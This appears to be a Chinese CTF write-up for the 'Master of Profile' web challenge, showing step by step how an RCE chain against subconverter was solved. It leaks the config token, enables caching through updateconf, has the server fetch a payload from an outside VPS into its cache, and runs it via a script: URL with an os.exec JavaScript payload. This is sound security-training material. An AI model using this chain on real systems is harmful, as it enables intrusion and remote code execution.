获取中...

-

Just a minute...

师傅们太强了,跟师傅们打比赛能学到很多东西,我就作出来一个最简单的题=-=

Master of Profile

参考链接:https://cn-sec.com/archives/2105254.html
想读配置文件,这道题api_mode是flase,

readConf首先没法,if语句无法控制。在审代码,如果要rce,必须得拿到token,token在config里,我在找如何能读到config
缓存好像被关了,不能通过写恶意命令进服务器来,但是有一个updateconf路由能修改配置文件。

目前的思路是:拿到token,修改配置文件,打开缓存,在vps上写反弹shell的恶意代码,然后让服务器访问,并写入缓存,再读取缓存,反弹shell。
在render路由会loadflie可以读token


尝试读一下pref.ini、pref.toml、pref.yml
读到了配置文件:render?path=pref.yml
Token 是不会变的:189069462103782304169366230


缓存果然是关闭了的
一个包发过去
POST http://1.95.13.243:39891/updateconf?token=189069462103782304169366230&type=direct
把enable_cache改成true

把恶意代码写入缓存:
http://1.95.13.243:37193/sub?target=clash&url=http://47.108.89.135/payload&token=189069462103782304169366230

经过md5加密后,现在看缓存目录,恶意代码已经被我们写上去了

在sub路由的subconverter函数中,一定会调用addNodes函数,我们跟进。这里有关键eval函数。

先把 url 里的 \ 替换为空,然后我们可以看到这里rce关键点。检查头部是否为 script:,然后使用 split 函数分割 script:获取对应的文件名,读取后ctx.eval行
所以我们在vps上开启监听
http://1.95.13.243:37193/sub?target=clash&url=script:cache/b1bb99f69b2ff9a8407766e11b8b8550,1&token=189069462103782304169366230
失败了……不知道哪有问题
多亏这篇文章对于fix的讲述
https://gist.github.com/CwithW/01a726e5af709655d6ee0b2067cdae03
最后的最后,不需要反弹shell,改一下payload:

| JavaScriptfunction parse(x){
os.exec([“sh”,”-c”,”cat /* > cache/flag”])

}

按照原来的方式把文件写在本地上,然后执行文件,最后到/render路由拿flag:

相关文章
评论
分享
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp
  • 第四届长城杯web全题解

    WEB SQLUS 猜测账户是admin密码是任意一个字符 登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。 在头像前端看到了上传路径 flag没有权...

    第四届长城杯web全题解
  • NepCTF2024部分web

    NepDouble代码过长这里不贴了,看到上传压缩包的第一反应是做一个链接到/flag的软连接,上传上去解压就可以看到flag了,但是这里 12if os.path.islink(new_file): return &...

    NepCTF2024部分web
  • 2024第七届巅峰极客部分wp

    GoldenHornKing源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一...

    2024第七届巅峰极客部分wp
  • 2024春秋杯部分wp

    brother打开题目是?name=hello,还回显了hello,看一下后台语言和框架 一眼ssti模版注入, 1?name={{g.pop.__globals__.__builtins__.__im...

    2024春秋杯部分wp
  • PolarCTF2024夏季个人挑战赛wp

    扫扫看不用扫,猜测是flag.php flag{094c9cc14068a7d18ccd0dd3606e532f} debudaoflag在cookie里: flag{72077a55w312584wb1aaa88888cd...

    PolarCTF2024夏季个人挑战赛wp
  • PolarCTF2024春季个人挑战赛wp

    机器人打开页面: 一眼robots.txt 123User-agent: *Disallow: /27f5e15b6af3223f1176293cd015771dFlag: flag{4749ea1ea481a5d 只有...

    PolarCTF2024春季个人挑战赛wp
  • 第九届中国海洋大学信息安全竞赛web题解

    ezPHPparse_str()可以进行变量覆盖。 全部流量包: 菜狗工具#1python继承链攻击。 1print(().__class__.__base__.__subclasses__()[132].__init__.__gl...

    第九届中国海洋大学信息安全竞赛web题解
  • DASCTF2024校赛

    cool_indexserver.js: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525...

    DASCTF2024校赛
  • XYCTF2024

    ezhttp打开是登录页面,先看源码,源码提示: 1<!-- 为了防止忘记密码,我把它们放在某个地方了 --> 第一反应是robots.txt,进去看看。 得到/l0g1n.txt,进入得到帐号密码: 12u...

    XYCTF2024